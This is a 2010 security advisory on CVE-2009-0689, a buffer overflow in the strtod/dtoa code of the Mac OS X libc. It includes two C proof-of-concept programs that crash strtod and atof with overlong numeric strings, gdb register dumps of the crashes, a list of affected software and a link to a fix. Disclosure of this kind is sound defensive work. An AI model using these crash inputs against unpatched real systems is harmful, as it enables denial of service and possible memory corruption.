MacOS X 10.5/10.6 libc/strtod(3) buffer overflow

2010-01-0800:00:00

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[ MacOS X 10.5/10.6 libc/strtod(3) buffer overflow ]

Author: Maksymilian Arciemowicz and sp3x
http://SecurityReason.com
Date:

- Dis.: 07.05.2009
- Pub.: 08.01.2010

CVE: CVE-2009-0689
CWE: CWE-119
Risk: High
Remote: Yes

Affected Software:

- MacOS 10.6

NOTE: Prior versions may also be affected.

Original URL:
http://securityreason.com/achievement_securityalert/81

— 0.Description —
Mac OS is the trademarked name for a series of graphical user interface-based operating systems developed by Apple
Inc. (formerly Apple Computer, Inc.) for their Macintosh line of computer systems. The Macintosh user experience is
credited with popularizing the graphical user interface. The original form of what Apple would later name the "Mac
OS" was the integral and unnamed system software first introduced in 1984 with the original Macintosh, usually
referred to simply as the System software.
— 1. MacOS X 10.5/10.6 libc/strtod(3) buffer overflow —
The main problem exist in dtoa implementation. MacOS X has the same dtoa as OpenBSD, NetBSD etc. This problem
affects not only libc/gdtoa. Affected is also strtod(3) function.
For more information, please see SREASONRES:20090625.

http://securityreason.com/achievement_securityalert/63

but fix for SREASONRES:20090625, used by openbsd was not good.
More information about fix for openbsd and similars SREASONRES:20091030,

http://securityreason.com/achievement_securityalert/69

We can create any number of float, which will overwrite the memory. In
Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and
it is possible to call 16<= elements of freelist array.

It is true that the examples presented in the previous notes, using the printf (1) do not work under MacOS X. This
does not mean the MacOSX C library is safe.

More:
http://cwe.mitre.org/data/definitions/119.html

— 2. Proof of Concept (PoC) —
— 2.1. strtod(3) buffer overflow example PoC —
#include <stdio.h>
#include <stdlib.h>

int main ()
{

    char number[] = &quot;0.1111111111...11&quot;, *e;

    double weed = strtod&#40;number, &amp;e&#41;;

    printf&#40;&quot;grams = &#37;lf&#92;n&quot;, weed&#41;;
    return 0;

}

(gdb) r
Starting program: /Volumes/ARC/299
Reading symbols for shared libraries ++. done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x0039f000
0x002271ac in __diff_D2A ()

(gdb) i r

eax 0xc71c71c7 -954437177
ecx 0xacb44 707396
edx 0x0 0
ebx 0x2c2e4f 2895439
esp 0xbffb65d0 0xbffb65d0
ebp 0xbffb6618 0xbffb6618
esi 0x39f000 3796992
edi 0x0 0
eip 0x2271ac 0x2271ac <__diff_D2A+246>
eflags 0x10246 66118
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x0 0
gs 0x37 55

edi=0x0
eax=0xc71c71c7
eip=0x002271ac

(gdb) x/i 0x002271ac
0x2271ac <__diff_D2A+246>: mov %eax,(%esi)

— 2.2. atof(3) buffer overflow example PoC —
#include <stdio.h>
#include <stdlib.h>

int
main()
{
char s[]="111.111111…11";

    float a=atof&#40;s&#41;;
    printf&#40;&quot;&#37;f&quot;,a&#41;;

}

x$ ls -la m0.c

-rwxrwxrwx@ 1 x staff 317507 Jan 3 14:23 m0.c
x$ gcc -o m0 m0.c
x$ ./m0
Bus error

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x0039f000
0x00227017 in __lshift_D2A ()

(gdb) x/i 0x00227017
0x227017 <__lshift_D2A+68>: movl $0x0,(%edx)
(gdb) i r
eax 0x16bc 5820
ecx 0x80b6 32950
edx 0x39f000 3796992
ebx 0x2c2e4f 2895439
esp 0xbffb2070 0xbffb2070
ebp 0xbffb20b8 0xbffb20b8
esi 0x26bd 9917
edi 0x80b7 32951
eip 0x227017 0x227017 <__lshift_D2A+68>
eflags 0x10203 66051
cs 0x17 23
ss 0x1f 31
ds 0x1f 31
es 0x1f 31
fs 0x0 0
gs 0x37 55
(gdb) bt
#0 0x00227017 in __lshift_D2A ()
#1 0x002c3b74 in strtod_l$UNIX2003 ()
#2 0x00275ba7 in atof ()
#3 0x000017eb in main ()

— 3. SecurityReason Note —
Officialy SREASONRES:20090625 has been detected in:
- OpenBSD
- NetBSD
- FreeBSD
- MacOSX
- Google Chrome
- Mozilla Firefox
- Mozilla Seamonkey
- Mozilla Thunderbird
- Mozilla Sunbird
- Mozilla Camino
- KDE (example: konqueror)
- Opera
- K-Meleon
- F-Lock
- MatLab
- J

This list is not yet closed.
FreeBSD project has fixed this issue (state 2010-01-05) only in
MAIN
RELENG_8_0_BP
RELENG_8_0_0_RELEASE
RELENG_8_0
RELENG_7
RELENG_6

Please note that the issue can also exist in Sony PlayStation 3.
The license of PS3 :

http://www.scei.co.jp/ps3-license/see.html

The separate 'dtoa.c' file is separately licenced, thus:
Copyright. 1991, 2000 by Lucent Technologies.

MacOS gdtoa have also "Lucent Technologies" license from year 2000.

— 4. Fix —
NetBSD fix (optimal):
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h

— 5. Credits —
Discovered by Maksymilian Arciemowicz and sp3x from SecurityReason.com
— 6. Greets —
Infospec p_e_a pi3
— 7. Contact —
Email:
- cxib {a.t] securityreason [d0t} com
- sp3x {a.t] securityreason [d0t} com